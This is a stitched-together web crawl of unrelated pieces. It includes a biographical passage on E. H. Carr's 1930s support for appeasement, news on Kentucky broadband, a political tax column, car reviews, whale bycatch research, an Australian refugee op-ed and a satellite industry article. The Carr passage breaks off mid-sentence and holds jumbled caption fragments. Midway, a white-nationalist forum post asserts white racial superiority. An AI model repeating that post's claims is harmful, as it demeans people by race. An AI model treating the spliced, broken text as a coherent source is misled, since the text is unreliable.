In an article entitled "Age of Reason" published in the Spectator on 26 April 1930, Carr attacked what he regarded as the prevailing culture of pessimism within the West, which he blamed on the French writer Marcel Proust.[21] In the early 1930s, Carr found the Great Depression to be almost as profoundly shocking as the First World War.[22] Further increasing Carr's interest in a replacement ideology for liberalism was his reaction to hearing the debates in January 1931 at the General Assembly of the League of Nations in Geneva, Switzerland, and especially the speeches on the merits of free trade between the Yugoslav Foreign Minister Vojislav Marinkovich and the British Foreign Secretary Arthur Henderson.[6] It was at this time that Carr started to admire the Soviet Union.[22] In a 1932 book review of Lancelot Lawton's Economic History of Soviet Russia, Carr dismissed Lawton's claim that the Soviet economy was a failure, and praised the British Marxist economist Maurice Dobb's extremely favourable assessment of the Soviet economy.[23]
Initially, Carr's political outlook was anti-Marxist and liberal.[24] In his 1934 biography of Karl Marx, Carr presented his subject as highly intelligent man and a gifted writer, but one whose talents were devoted entirely for destruction.[25] Carr argued that Marx's sole and only motivation was a mindless class hatred.[25] Carr labelled dialectical materialism gibberish, and the labour theory of value doctrinal and derivative.[25] He praised Marx for emphasising the importance of the collective over the individual.[26]
In view of his later conversion to a sort of quasi-Marxism, Carr was to find the passages in Karl Marx: A Study in Fanaticism criticising Marx to be highly embarrassing, and refused to allow the book to be republished.[27] Carr was to later call his Marx biography his worst book, and complained that he had written it only because his publisher had made a Marx biography the precondition of publishing the biography of Mikhail Bakunin that he was writing.[28] In his books such as The Romantic Exiles and Dostoevsky, Carr was noted for his highly ironical treatment of his subjects, implying that their lives were of interest but not of great importance.[29] In the mid-1930s, Carr was especially preoccupied with the life and ideas of Bakunin.[30] During this period, Carr started writing a novel about the visit of a Bakunin-type Russian radical to Victorian Britain who proceeded to expose all of Carr regarded as the pretensions and hypocrisies of British bourgeois society.[30] The novel was never finished or published.[30]
Beside writing on Soviet affairs, Carr also commented on other international events. In an essay published in February 1933 in the Fortnightly Review, Carr blamed what he regarded as a putative Versailles treaty for the recent accession to power of Adolf Hitler[31]
Daladier, Hitler, The Twenty Years' Crisis, Carr argued that the Munich Agreement was just and moral attempt to undo the great wrong done to Germany by the Treaty of Versailles From left to right: Chamberlain Mussolini, and Ciano pictured before signing the Munich Agreement. In 1938, Carr was a leading defender of the Munich Agreement from the left. In his 1939 book, Carr argued that the Munich Agreement was just and moral attempt to undo the great wrong done to Germany by the Treaty of Versailles
As a diplomat in the 1930s, Carr took the view that great division of the world into rival trading blocs caused by the American Smoot Hawley Act of 1930 was the principal cause of German belligerence in foreign policy, as Germany was now unable to export finished goods or import raw materials cheaply. In Carr's opinion, if Germany could be given its own economic zone to dominate in Eastern Europe comparable to the British Imperial preference economic zone, the US dollar zone in the Americas, the French gold bloc zone and the Japanese economic zone, then the peace of the world could be assured.[31] Carr's views on appeasement caused much tension with his superior, the Permanent Undersecretary Sir Robert Vansittart, and played a role in Carr's resignation from the Foreign Office later in 1936.[32] In an article entitled "An English Nationalist Abroad" published in May 1936 in the Spectator, Carr wrote "The methods of the Tudor sovereigns, when they were making the English nation, invite many comparisons with those of the Nazi regime in Germany"[33] In this way, Carr argued that it was hypocritical for people in Britain to criticise the Nazi regime's human rights record[33] Because of Carr's strong antagonism to the Treaty of Versailles, which he viewed as unjust to Germany, Carr was very supportive of the Nazi regime's efforts to destroy Versailles through moves such as the Remilitarisation of the Rhineland in 1936[34] Carr later wrote of his views in the 1930s that "No doubt, I was very blind".[34]
International relations scholar [ edit ]
In 1936, Carr became the Woodrow Wilson Professor of International Politics at the University College of Wales, Aberystwyth, and is particularly known for his contribution on international relations theory. Carr's last words of advice as a diplomat was a memo urging that Britain accept the Balkans as an exclusive zone of influence for Germany.[22] Additionally in articles published in the Christian Science Monitor on 2 December 1936 and in the January 1937 edition of Fortnightly Review, Carr argued that the Soviet Union and France were not working for collective security, but rather "a division of the Great Powers into two armored camps", supported non-intervention in the Spanish Civil War, and asserted that King Leopold III of Belgium had made a major step towards peace with his declaration of neutrality of 14 October 1936.[35] Two major intellectual influences on Carr in the mid-1930s were Karl Mannheim's 1936 book Ideology and Utopia, and the work of Reinhold Niebuhr on the need to combine morality with realism.[36]
Carr's appointment as the Woodrow Wilson Professor of International Politics caused a stir when he started to use his position to criticise the League of Nations, a viewpoint which caused much tension with his benefactor, Lord Davies, who was a strong supporter of the League.[37] Lord Davies had established the Wilson Chair in 1924 with the intention of increasing public support for his beloved League, which helps to explain his chagrin at Carr's anti-League lectures.[37] In his first lecture on 14 October 1936 Carr stated the League was ineffective.[38]
Lebensraum a zone of economic influence for Germany in Eastern Europe. Adolf Hitler. In the 1930s, Carr saw Hitler as a leader of a "have-not" nation struggling for economic justice, and considereda zone of economic influence for Germany in Eastern Europe.
In 1937, Carr visited the Soviet Union for a second time, and was impressed by what he saw.[39]:60 During his visit to the Soviet Union, Carr may have inadvertently caused the death of his friend, Prince D. S. Mirsky.[40] Carr stumbled into Prince Mirsky on the streets of Leningrad (modern Saint Petersburg, Russia), and despite Prince Mirsky's best efforts to pretend not to know him, Carr persuaded his old friend to have lunch with him.[40] Since this was at the height of the Yezhovshchina, and any Soviet citizen who had any unauthorised contact with a foreigner was likely to be regarded as a spy, the NKVD arrested Prince Mirsky as a British spy;[40] he died two years later in a Gulag camp near Magadan.[1] As part of the same trip that took Carr to the Soviet Union in 1937 was a visit to Germany. In a speech given on 12 October 1937 at the Chatham House summarising his impressions of those two countries, Carr reported that Germany was "almost a free country".[41] Unaware apparently of the fate of his friend, Carr spoke in his speech of the "strange behaviour" of his old friend, Prince Mirsky, who had at first gone to great lengths to try to pretend that he did not know Carr during their accidental meeting in Leningrad.[41]
In the 1930s, Carr was a leading supporter of appeasement.[42] In his writings on international affairs in British newspapers, Carr criticised the Czechoslovak President Edvard Beneš for clinging to the alliance with France, rather than accepting that it was his country's destiny to be in the German sphere of influence.[35] At the same time, Carr strongly praised the Polish Foreign Minister Colonel Józef Beck for his balancing act between France, Germany, and the Soviet Union.[35] In the late 1930s, Carr started to become even more sympathetic toward the Soviet Union, as Carr was much impressed by the apparent achievements of the Five-Year Plans, which stood in marked contrast to the seeming failures of capitalism in the Great Depression.[16]
His famous work The Twenty Years' Crisis was published in July 1939, which dealt with the subject of international relations between 1919 and 1939. In that book, Carr defended appeasement under the grounds that it was the only realistic policy option.[43] At the time the book was published in the summer of 1939, Neville Chamberlain had adopted his "containment" policy towards Germany, leading Carr to later ruefully comment that his book was dated even before it was published. In the spring and summer of 1939, Carr was very dubious about Chamberlain's "guarantee" of Polish independence issued on 31 March 1939.[44]
The Twenty Years' Crisis, Carr attacked Angell as an Utopian thinker on international relations Norman Angell. In his 1939 book, Carr attacked Angell as an Utopian thinker on international relations
In The Twenty Year's Crisis, Carr divided thinkers on international relations into two schools, which he labelled the realists and the utopians.[25] Reflecting his own disillusion with the League of Nations,[45] Carr attacked as "utopians" those like Norman Angell who believed that a new and better international structure could be built around the League. In Carr's opinion, the entire international order constructed at Versailles was flawed and the League was a hopeless dream that could never do anything practical.[46] In the same book, Carr described the opposition of realism and utopianism in international relations as a dialectic progress.[47] Carr argued that in realism there is no moral dimension and that what is successful is right and that what is unsuccessful is wrong.[43]
Carr contended that international relations was an incessant struggle between the economically privileged "have" powers and the economically disadvantaged "have not" powers.[43] In this economic understanding of international relations, "have" powers like the United States, Britain and France were inclined to avoid war because of their contented status whereas "have not" powers like Germany, Italy and Japan were inclined towards war as they had nothing to lose.[48] Carr defended the Munich Agreement as the overdue recognition of changes in the balance of power.[43] In The Twenty Years' Crisis, Carr was highly critical of Winston Churchill, whom Carr described as a mere opportunist interested only in power for himself.[43]
Carr immediately followed up The Twenty Year's Crisis with Britain : A Study of Foreign Policy From The Versailles Treaty to the Outbreak of War, a study of British foreign policy in the inter-war period that featured a preface by the Foreign Secretary, Lord Halifax. Carr ended his support for appeasement, which had so vociferously expressed in The Twenty Year's Crisis in the late summer of 1939 with a favourable review of a book containing a collection of Churchill's speeches from 1936 to 1938, which Carr wrote were "justifiably" alarmist about Germany.[49] After 1939, Carr largely abandoned writing about international relations in favour of contemporary events and Soviet history. Carr was to write only three more books about international relations after 1939, namely The Future of Nations; Independence Or Interdependence? (1941), German-Soviet Relations Between The Two World Wars, 1919–1939 (1951) and International Relations Between The Two World Wars, 1919–1939 (1955). After the outbreak of World War II, Carr stated that he was somewhat mistaken in his prewar views on Nazi Germany.[50] In the 1946 revised edition of The Twenty Years' Crisis, Carr was more hostile in his appraisal of German foreign policy then he had been in the first edition in 1939.
Some of the major themes of Carr's writings were change and the relationship between ideational and material forces in society.[14] He saw a major theme of history was the growth of reason as a social force.[14] He argued that all major social changes had been caused by revolutions or wars, both of which Carr regarded as necessary but unpleasant means of accomplishing social change.[14]
World War II [ edit ]
During World War II, Carr's political views took a sharp turn towards the left.[47] Carr spent the Phoney War working as a clerk with the propaganda department of the Foreign Office.[51] As Carr did not believe Britain could defeat Germany, |
id the project.
“That is their contract, they bid it, they received it,” he said. “With that is going to be honored every single relationship, every single contract […] is going to be honored, as well it should be. That’s what good business looks like.”
When asked how the state would pay for the $28.5 million-a-year fee to private companies now that the state won’t be able to use federal funds used by school districts, Bevin said the network will pay for itself through users.
“We will build it, they will come, their use of it will drive the revenue associated with what’s needed to pay this debt back,” Bevin said.
Public-sponsored broadband initiatives have been under fire in states like North Carolina and Tennessee, where recently a federal appeals court upheld state laws that restrict municipalities from expanding city-owned broadband projects.
The state has partnered with Cincinnati Bell and East Kentucky Network to help with construction in the northern and eastern parts of the state, respectively.
When asked if the state should be getting involved in the broadband internet business, U.S. Rep. Hal Rogers, a Republican, compared the initiative to the interstate highway system.
“There are also people these days that say the government should not be involved in building interstate highways,” Rogers said. “This is the new interstate highway of our age.”Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
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This amazing footage shows inspirational teenager Huang Haifeng, who has no arms, riding his bike at high speed, using nothing but his chin to steer.
In the incredible clip, Huang, 18, is seen rapidly hurtling down the road in his home own of Chongqing in central China.
Unbelievably, he performs a perfect turn in the road, even skidding, as he rests his chin on the handlebars and steers the biker pefectly.
A professional swimmer, Huang has overcome his disability to win several competitions.
But he has now turned his sporting prowess to the roads, becoming an expert in cycling with no hands.
Local media claim Huang lost his arms in an accident when he was playing outside a power transformer.
But the teen is determined he will not be beaten by his disability and has dedicated himself to sport.
If this video is any indication, we could soon be seeing him see at the Paralympic Games in Brazil in 2016, showing off his skills in the pool or velodrome.Fortitude Forum Member
Join Date: Oct 2013 Location: North East UK Posts: 47
Are we individually superior, or superior as a whole? When it comes to the superiority of the white race what is the most common interpretation?
Is it that every white individual is better than any non white?
Or that we are a better as a whole / as a culture.?
I ask because i do on ocassion see a non-white who is educated, cultured, succesfull and holds a sensible and admirable set of moral standards and beliefs
And i see whites who are ignorant, depraved, fat and all round representaions of tbe worst of Humanity. I find myself thinking "Yes that individual non white is superior to that white" but then i look at the totality of white culture and think "But we have certainly and consistently created the worlds most advanced societies and cultures, technologically, morally, philosophically etc" Hence the superiority of the race as a whole is clear.
So what way do you see it? Last edited by Fortitude; 12-12-2015 at 06:10 AM.On To Tax Reform
Monday, July 31, 2017
The inability of Republican leadership in the House and Senate to repeal Obamacare bodes ill for tax reform. Rather than fulfill their promises to the American people, many key Republicans have sided with Democrats in refusing to repeal the most inept example of social engineering in our lifetimes.
The President will need to do more to compel tax reform than was done to compel the repeal of Obamacare if there is any hope of passing another of his key campaign planks. This go around the lessons learned from the failure to repeal Obamacare should influence how the President campaigns for reduction in individual and corporate tax rates.
When faced with a hostile Congress, Presidents in the past have reached beyond the beltway to the American people, communicating with oval office addresses in prime time, with speeches in key states, and with a call for Americans to deluge Congress with demands for passage of the legislation. The President must expand beyond tweeting to give a detailed message that explains why tax reform is essential for all Americans, why the bill he supports achieves the reductions required to trigger an economic boom, and why failure to act now threatens continued economic growth. He must campaign vigorously for tax reform, more outside the beltway than within it. He must essentially drive the passage of the bill with a wave of popular support sufficient to overwhelm the opposition.
The Obamacare repeal failure teaches us that leading Republicans are willing to bolt from their prior promises and keep faith with their political opponents rather than the President. He is indeed an outsider, and they do not like that. While Democratic leaders pursue obstructionism, resisting all that is Trump; leading Republicans have demonstrated that they would rather abandon their promises to voters and side with Democrats than rally behind the President.
The Congress of the United States is populated by a majority of individuals whose interest in self vastly exceeds interest in country. The only alternative for the President is to break loose from the internal politics of Washington and rally as much popular support as he can in favor of tax reform. It is up to him to explain the details of his plan, the necessity of it, and the promise of it. He cannot rely on surrogates. He must also be the primary campaigner, the one who calls on the public to inundate members of Congress with demands for passage of the bill. He must also insist on a bill that achieves true cuts in individual and corporate taxes, opposing all efforts to defeat the central objective. No bill is better than a bad bill.
Tax reform also enables the President to achieve replacement of Obamacare without repeal. Obamacare is effectively dead. To kill it off, he need only ween the remaining insurers from participation in it. That can be done with tax incentives for companies to discontinue involvement. As to replacement, I have long advocated a simple remedy that would have profound effects.
In the tax bill, the President should include provision for giving each taxpayer a $1.50 tax deduction for each dollar spent on medical care. The deduction would apply for individuals who pay for the medical expenses or health insurance costs of family members or anyone else. The deduction would apply for businesses that pay for the medical expenses or health insurance costs of employees or anyone else. In this way, those with resources would have a huge incentive to help those without. Hospitals would benefit from providing subsidized or free services to those destitute. This simple change would restore a patient centric system in which physicians, medical centers, and hospitals would aim to satisfy the needs of patients rather than insurance companies that serve as proxies for government. Health care and health insurance would be tailored to satisfy patients rather than serve as a one size fits all government program of mediocre care for all.
As the President moves on to tax reform, he must be mindful of the lessons the Obamacare repeal effort provide. This is not a Congress he can lead from within. He must depend on the American people to join him in leading it from without, in demanding passage of the President’s tax reform legislation on pain of election loss. Rich proof now exists that neither Paul Ryan nor Mitch McConnell can command the allegiance of party members, and neither has remained true to principle. The President must lead the effort.
© 2017 Jonathan Emord – All Rights Reserved
E-Mail Jonathan Emord: [email protected]
printSANTA ANA – A Garden Grove woman has admitted to setting up a phone conversation between a 9-year-old girl and a jail inmate accused of raping her.
Jessica Lee Pearles, 37, pleaded guilty Friday to one misdemeanor count of violating a protective order, and was sentenced to 30 days in county jail, 30 days of community service and three years of informal probation.
According to prosecutors, Pearles “facilitated phone contact” between a 9-year-old family member and a man who was charged with raping the girl multiple times in 2014.
A protective order barred any contact between the inmate and the alleged victim. A recorded phone line caught Pearles talking to the inmate about the protective order, then violating it by “allowing his conversation” with the girl, according to an Orange County District Attorney’s Office statement.In yet another illustration of why no, you really don't want government run like a business, a very interesting piece by Mariah Price from The Washington Monthly about hospitals' group purchasing operations:
In theory, GPOs are supposed to lower hospitals' supply costs by buying in bulk from manufacturers. The problem is that GPOs make their money from commissions and fees paid by the manufacturers -- in essence, a form of kickback that in any other industry would be illegal but isn't in this industry, thanks to an obscure loophole in Medicare law. Reformers have wanted to get rid of that loophole for years, arguing that it allows big medical device makers to collude with the GPOs to set prices and terms and keep small manufacturers, which might offer cheaper and better products, out of the market. But despite several congressional investigations, no one could prove whether or not GPOs did what they claimed, which is lower the prices hospitals pay for supplies.
Blake, however, came upon a Texas-based company called MEMdata, which helps hospitals process their equipment bids, and therefore has in its database both the prices GPOs are charging hospitals and what they could get if they bargained directly with the manufacturers. MEMdata's CEO Bob Yancy showed some of this data to Blake and estimated that on average the GPOs' prices are 22 percent higher than the ones that hospitals can get on their own. "The bottom line is that hospitals are being systematically overcharged," Yancy told Blake. "GPOs are inflating the pricing."
Since that story was published, two economists, Robert Litan of the Brookings Institution and Hal Singer of the McDonough School of Business at Georgetown University, have looked deeper into MEMdata's records. On Wednesday they published a study funded by the Medical Device Manufacturers Association, an industry trade group, that confirms what Blake found. According to the study, GPOs increase health care costs nationwide by $37.5 billion a year, and cost the federal government $11.5 billion annually -- money that could be saved simply by getting rid of the anti-kickback provision.France is well known for being stiffly opposed to borrowing words from the English language, and it is no exception when it comes to the worlds of tech and startups.
Indeed, the French government has even released lists detailing French words that should be used instead of the common English words.
Although it's important to point out that many of the new Gallic words are ignored by French people themselves as well as the media. (A look at some of the clumsy examples below and you'll see why.)
This was the case for 'courriel' that was the government wanted French to use instead of 'email' and the word'mot-dièse' which was the Gallic replacement for 'hashtag'... but it extends a lot further than that.
Here's a selection or English web and start up lingo from the France Terme website - run by the country's Ministry of Culture, which officials want ditched for Gallic alternatives.
(Photo: BlaBlaCar)
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(Photo: Allen Skyy/Flickr)
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(Photo: Dragon's Den)
(Photo: Pixabay)
(Photo: Michael Dornbierer/Flickr)
(Photo: Official GDC/Flickr)
(Obviously we're talking about online spam here. Photo: ajc1/Flickr)
(Photo: Mofetos/Flickr)
(Photo: Toni Blay/Flickr)
(jetheriot/Flickr)4.1 Overall 169 Reviews By Rating 5 Star 37% 4 Star 41% 3 Star 15% 2 Star 4% 1 Star 3% By Category Overall 4.1 Value 4.0 Performance 3.5 Style 4.2 Comfort 4.0 Fuel Economy 4.4 Reliability 4.1
2011 Ford Fiesta - Love our Zoomie David Wharton, Texas Overall 5.0 Value 5.0 Performance 4.0 Style 5.0 Comfort 4.0 Fuel Economy 5.0 Reliability 5.0 2011 Ford Fiesta - Love our Zoomie We picked our 2011 Ford Fiesta based purely on the cost. It was simply the least expensive vehicle we could find that had a warranty and an air conditioner. Those were our only two requirements. We named the car Zoomie. He is a beautiful red with black interior that has all the get up and go we need. He is excellent on gas. We picked our 2011 Ford Fiesta based purely on the cost. It was simply the least expensive vehicle we could find that had a warranty and an air conditioner. Those were our only two requirements. We named the car Zoomie. He is a beautiful red with black interior that has all the get up and go we need. He is excellent on gas. Story Once my wife and I were working in Columbus, Texas. We were sitting inside in a very cool, comfortable cabin catching up on some paperwork. I asked my wife what the thermometer said the outside temperature was. She said 118. I could not believe we were so comfortable and it was so hot outside. On the way back from this trip we were just outside of Eagle Lake, Texas when a huge tractor ran a st... (more) Once my wife and I were working in Columbus, Texas. We were sitting inside in a very cool, comfortable cabin catching up on some paperwork. I asked my wife what the thermometer said the outside temperature was. She said 118. I could not believe we were so comfortable and it was so hot outside. On the way back from this trip we were just outside of Eagle Lake, Texas when a huge tractor ran a stop sign and pulled out right in front of us. Little Zoomie was so maneuverable that my wife managed to swerve and miss the tractor. As we looked behind us we saw that the tractor was being lit up by not one but three constable cars. Pros The gas mileage is outstanding. We sit still a lot and run the air conditioner. We still manage 33+ miles per gallon in town. We have over 80 thousand miles and he is still going strong. His air conditioner could freeze ice in the car if we wanted to do so. We live on the hot Gulf Coast of Texas where it is sometimes 118. It is cool inside Zoomie. We can fit several 8' long boards in Zoomie. The gas mileage is outstanding. We sit still a lot and run the air conditioner. We still manage 33+ miles per gallon in town. We have over 80 thousand miles and he is still going strong. His air conditioner could freeze ice in the car if we wanted to do so. We live on the hot Gulf Coast of Texas where it is sometimes 118. It is cool inside Zoomie. We can fit several 8' long boards in Zoomie. Cons The seat belts lock. Sometimes this is a real problem. We have no idea why they do this but they do. Also, the rear visibility in this car is poor. It is very hard to see behind you. The seat belts lock. Sometimes this is a real problem. We have no idea why they do this but they do. Also, the rear visibility in this car is poor. It is very hard to see behind you. 2011 Ford Fiesta - Overall, a Winner Brandon Rochester, New Hampshire Overall 4.0 Value 4.0 Performance 3.0 Style 5.0 Comfort 5.0 Fuel Economy 5.0 Reliability 4.0 2011 Ford Fiesta - Overall, a Winner Overall, my 2011 Ford Fiesta is a good first car purchase. A sleek design with comfortable seats, I have few complaints. Some bumps in the road cause the right side of my car to squeak - it sounds like a loose part somewhere, and out of pure laziness, I haven't gotten it looked at. I blew out the speakers early on, so I've been going with blown out speakers for a while now - as a poor college student, I don't see myself being able to afford new ones. The car's mileage is absolutely amazing - I once hit 40mpg one fill up, but tend to average 33 if I do a lot of town driving, and 36 when I have a typical commute week. Overall, my 2011 Ford Fiesta is a good first car purchase. A sleek design with comfortable seats, I have few complaints. Some bumps in the road cause the right side of my car to squeak - it sounds like a loose part somewhere, and out of pure laziness, I haven't gotten it looked at. I blew out the speakers early on, so I've been going with blown out speakers for a while now - as a poor college student, I don't see myself being able to afford new ones. The car's mileage is absolutely amazing - I once hit 40mpg one fill up, but tend to average 33 if I do a lot of town driving, and 36 when I have a typical commute week. Story My dad helped me pick this car out. I was working a lot one week and he decided to go out and see if he could find anything I might like. He brought this car to my work, texted me to come outside, and I took it for a quick test run with my headset and name badge still on. Oops! My dad helped me pick this car out. I was working a lot one week and he decided to go out and see if he could find anything I might like. He brought this car to my work, texted me to come outside, and I took it for a quick test run with my headset and name badge still on. Oops! Pros The mileage is amazing. I have probably saved hundreds of dollars on gas. Plus, it holds a lot of gas, so I don't have to fill up as much. The trunk has more room than I could ever need. The side mirrors have this mini side mirror in the corner that lets you see the next lane over, so I feel like I have no blind spot ever. The mileage is amazing. I have probably saved hundreds of dollars on gas. Plus, it holds a lot of gas, so I don't have to fill up as much. The trunk has more room than I could ever need. The side mirrors have this mini side mirror in the corner that lets you see the next lane over, so I feel like I have no blind spot ever. Cons The back seats have very little leg room, especially when I have to drive with my front seat all the way back due to my height. The car is kind of low to the ground. The back seats have very little leg room, especially when I have to drive with my front seat all the way back due to my height. The car is kind of low to the ground. 2011 Ford Fiesta - A nice and fun car to drive ECG Syracuse, New York Overall 5.0 Value 4.0 Performance 4.0 Style 5.0 Comfort 5.0 Fuel Economy 5.0 Reliability 4.0 2011 Ford Fiesta - A nice and fun car to drive I own a Ford Fiesta SES that I bought new out of the dealership after getting a new job. Since I was going to move to New York from Texas, I wanted a car that was economical and that would give good mileage for traveling to take advantage of everything that is close to New York state. One of the first reasons I looked at the Ford Fiesta as an option was a review I had seen on Top Gear. I immediately loved the look of the car which was surprising since I have always disliked hatchbacks. I immediately went for a test drive. I truly enjoyed how the car handled and since I am short, having a small car helps me feel more comfortable driving. I was not much interested in having the most expensive package, but I was lucky that Ford had a great deal and made the price worth it. The car size an... (more) I own a Ford Fiesta SES that I bought new out of the dealership after getting a new job. Since I was going to move to New York from Texas, I wanted a car that was economical and that would give good mileage for traveling to take advantage of everything that is close to New York state. One of the first reasons I looked at the Ford Fiesta as an option was a review I had seen on Top Gear. I immediately loved the look of the car which was surprising since I have always disliked hatchbacks. I immediately went for a test drive. I truly enjoyed how the car handled and since I am short, having a small car helps me feel more comfortable driving. I was not much interested in having the most expensive package, but I was lucky that Ford had a great deal and made the price worth it. The car size and extra mirrors also makes it so easy to see blind spots. The interior was nice in white leather and felt right with my body. I was even more surprised by how much room this car packed with the size of the car thanks to the hatchback style and that the backseats recline. Performance-wise, the car felt fast, but that might be attributed to the fact that I drive stick. I have driven automatics and they feel a bit slower when starting from a stop. The car has been fantastic at taking curves and I believe it has saved me several times from being in accidents because the brakes are super responsive and I can take sharp turns better due to the size of the car. One thing I did not like at first was how cheap certain parts on the car felt. The dashboard is so easy to take apart and feels plastic-like. The leather has been somewhat disappointing since it is white and it has gotten dirty to a point that it does not look nice anymore. I believe that this could be fixed by paying for an expensive car wash, but since the goal of this car was to save money I would have preferred that the version of the car that I got came in a darker color that does not get dirty as quick as my car has. Story While driving in the snow with no snow tires my car got stuck in a red light. Luckily, thanks to having a manual transmission I was able to slowly get out of the snow without help and even though the people behind me had to wait for an extra red light, I was able to survive with the car in the snow! While driving in the snow with no snow tires my car got stuck in a red light. Luckily, thanks to having a manual transmission I was able to slowly get out of the snow without help and even though the people behind me had to wait for an extra red light, I was able to survive with the car in the snow! Pros Great mileage for each gallon of gas which gives me about 40 miles per gallon on the highway and around 30 in the city. The Sync system that comes with all Ford cars is the best out of all other cars I have synced Bluetooth to. Nice look of the car. Great performance on the road. Great mileage for each gallon of gas which gives me about 40 miles per gallon on the highway and around 30 in the city. The Sync system that comes with all Ford cars is the best out of all other cars I have synced Bluetooth to. Nice look of the car. Great performance on the road. Cons Cheap materials used in the interior such as the dashboard and the cup holders. Leather is hard to clean and easy to get dirty if a light color. Cheap materials used in the interior such as the dashboard and the cup holders. Leather is hard to clean and easy to get dirty if a light color.The number of whales killed and sold as ‘incidental bycatch’ along the coasts of Japan and South Korea may equal the amount of whales caught through legal whaling, threatening populations of minke, western gray, humpbacks, fin whales, and Bryde’s whales.
“The sale of bycatch alone supports a lucrative trade in whale meat at markets in some Korean coastal cities, where the wholesale price of an adult minke whale can reach as high as $100,000. Given these financial incentives, you have to wonder how many of these whales are, in fact, killed intentionally.” – Scott Baker, Marine Mammal Institute
Although only about 150 whales are caught each year in Japan’s legal whaling industry, another 150 may enter the markets of Japan and South Korea from animals killed as bycatch in other fishing activities. Japan and South Korea are the only countries that allow the commercial sale of bycatch whales, and a survey of whale products on the market leads some scientists to believe that large amounts of it is being labeled bycatch.
Scott Baker, a cetacean expert with the Marine Mammal Institute at Oregon State University, and Vimoksalehi Lukoscheck, of the University of California-Irvine, presented the results of a study at a meeting of the International Whaling Commission (IWC) in Portugal, which found that nearly 46% of the minke whale products they examined in Japanese markets originated from a coastal population. The coastal population of minke whales has distinct genetic characteristics, and is under protection by international agreements.
Baker and his colleagues have developed genetic methods for identifying the species of whale-meat products in order to determine the origin of the animals, which helps when trying to determine the actual number of whales killed for market each year.
Japan has reported only about 19 minke whales killed through bycatch in recent years, but new regulations covering the commercial sale of bycatch whales have been approved, and the number of whales reported as killed is on the rise. The country wants to begin a coastal whaling program, and is looking to the IWC for an agreement on the issue, but Baker says that any such arrangement should be scrutinized because there are no accurate population counts to determine the level of a sustainable harvest.
Illegal whale hunting can be done using the cover of bycatch labeling, but no one knows the extent to which it occurs. Korean police seized 50 tons of minke whale meat in Ulsan in 2008 as a result of an investigation into an organized illegal whaling operation, and this may only represent a small portion of the whale poaching that actually goes on.
Market surveys found other protected species for sale, including humpback and fin whales, but one species in particular, the western gray whale, is at greater risk in these illegal whaling operations due to its small population, estimated to be only 100.
For an introduction to the serious impact of commercial bycatch on ocean populations, watch this quick overview:
httpv://www.youtube.com/watch?v=ksa6-NdkFsICombined with the resentment of the treatment of her predecessor, it could spell years of recovery for the Australian Labor Party, while Tony Abbott takes the country back to the Dark Ages with the towing of boats and ignoring climate change. The Prime Minister is aware of the stakes. She may think she's dispensed with the three key issues of her pre-election premiership - the mining resources tax, climate change and asylum seekers - but all loom as election conflicts. There is no issue as worrying and divisive as an election fought on the issue of asylum seekers. Immigration Minister Chris Evans confessed this issue is ''killing'' Labor, but is this reason enough for Gillard to join the Opposition Leader in a ''race to the bottom'', in the words of former prime minister Malcolm Fraser, on the issue? Gillard's stance on asylum seekers may not simply be driven by polls. In some respects, her views on this issue have been evident for a decade: I recall her disdain for the Democrats' opposition to the Tampa-inspired border protection legislation in 2001.
In the past few weeks, Gillard's rhetoric on refugees has been about acknowledging voters' ''anxieties''. Thus, she has been expressing sympathy for those of us desperate about the lack of compassion in the migration debate, while appealing to those who may fear Australia is being overrun by those seeking asylum. Instead of explaining away people's fears or crafting a policy based on our international obligations (such as processing claims for asylum on shore), vulnerable people are being used as election props. Nothing is as awful in the human predicament as being homeless and stateless and afraid with no future and only fear in the past. Pandering to groundless fears of being ''swamped'' or of an ''open door policy'' isn't working: another way has to be found and it must be from the point of view that these are suffering human beings often fleeing from war.
We should consider a national summit with some voices other than the usual protagonists. Australians are handicapped when it comes to understanding refugees. We are an island; and some have an insular mentality. We tend to glorify battles, leading to a softer understanding of war, which is, in fact, brutal and brutalising without exception. Australians need to learn more about the misery of refugees and walk a mile in their shoes. So much of the debate occurs with opportunist politicians or indeed great champions from non-government organisations and the law. But we need the stories and views of the people themselves. In the debate, the Prime Minister may have indicated that her preferred location for a regional processing centre is in a country that is a signatory to the UN Convention but, apart from that, there seems little difference in her imitation of the ''tough'' stance of her predecessors. So the dark cloud still hangs over the nation.
Few leaders have demonstrated a deep understanding of the refugee situation. It is different from £10 Poms like Gillard's family and herself. Hard work will not necessarily get refugees what they need. I fear our Prime Minister, for all her abilities, has attacked the problem simplistically and in no better way than the opposition. It has marred her honeymoon: trying to win an election on the back of suffering refugees is an abomination. Loading It's time to get the politics out of it, to get rid of the dark cloud.
Natasha Stott Despoja is a former leader of the Australian Democrats.The Space Race Is On for Climate, Weather Privatization
The latest version of the “Space Race” lacks the Cold War-era drama of the last one, and does not even involve daring feats of manned spaceflight. No, this one is a race to launch a network of increasingly tiny Earth-observing satellites that will change how weather and climate information is gathered and disseminated.
And in this race, it is private industry, not the government, leading the charge. Instead of stirring presidential speeches, plans are being hatched in office parks around the country, by companies such as Skybox Imaging, PlanetIQ, and GeoOptics. They are vying to launch fleets of small, advanced, and low-cost satellites that represent a revolution akin to the one that turned computers from room-sized behemoths into things we hold in the palms of our hands.
The Skybox-1 satellite is about the size of a minifridge, far smaller than the house-sized earth imaging satellites it is set to compete with. Here it undergoes final testing in Mountain View, Calif.
Credit: Skybox Imaging via Facebook.
For weather and climate forecasting, private satellite firms present an opportunity to dramatically expand the data available to scientists, which could markedly boost forecast accuracy. More important, if this space race reaches the finish line, it could revolutionize fields that depend on environmental data, from climate adaptation to urban planning, farming, and even insurance claims processing.
But there are myriad questions and roadblocks ahead, chief among them being uncertainty about how a federal government that is used to financing its own large and expensive satellite systems will manage the public-private partnership in a new arena. It has already successfully partnered with private satellite companies in the intelligence, telecommunications, and space transport sectors.
These fledgling companies hope to sell the data they generate to the U.S. and foreign governments — and private industry, too — turning the existing business model on its head.
Currently, the U.S. government spends billions of taxpayer dollars annually on satellites built by private companies, such as Lockheed Martin and Ball Aerospace. These satellites, each roughly the size of a small house, are designed to remain in use for 5 to 10 years. Federal agencies, such as NASA and the National Oceanic and Atmospheric Administration (NOAA) then operate the satellites and provide the data to the public and the private sector for free, and have data-sharing agreements with foreign governments.
The products generated by these government satellites show up every day when you watch the weather. Most of the satellite images on TV weathercasts come from NOAA’s fleet of geostationary weather satellites, and the vast majority of data fed into weather forecasting models come from NOAA’s fleet of polar-orbiting satellites, thereby making the all-important five-day forecast possible.
NOAA video promoting the next-generation GOES-R series of satellites.
